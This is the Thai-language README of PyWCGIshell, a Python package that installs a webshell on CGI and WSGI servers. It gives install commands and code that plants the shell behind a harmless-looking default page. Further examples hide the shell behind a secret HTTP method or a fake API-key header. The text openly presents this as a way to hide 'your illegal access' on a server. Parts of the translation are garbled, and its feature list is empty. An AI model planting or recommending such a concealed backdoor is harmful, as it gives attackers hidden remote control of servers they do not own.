PyWCGIshell
1.0.0
แพ็คเกจนี้ใช้ webshell สำหรับเซิร์ฟเวอร์ CGI และ WSGI
ด้วย webshell นี้คุณสามารถ:
แพ็คเกจนี้ต้องการ:
pip install PyWCGIshell(บรรทัดคำสั่งมีประโยชน์ในการลอง webshell)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run () ฉันไม่แนะนำให้ใช้ method เช่น pass_type เพื่อซ่อน webshell ของคุณ
คุณสามารถใช้การกำหนดค่าที่คล้ายกันเพื่อซ่อน webshell ของคุณ
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . runเพื่อใช้ webshell นี้:
ติดตั้งและกำหนดค่า PYWCGISHELL บน WebScripts เพื่อให้การเข้าถึงที่ผิดกฎหมายของคุณและซ่อนไว้ (repo อยู่ที่นี่)
WebShell บน WebScripts - YouTube
ได้รับใบอนุญาตภายใต้ GPL เวอร์ชัน 3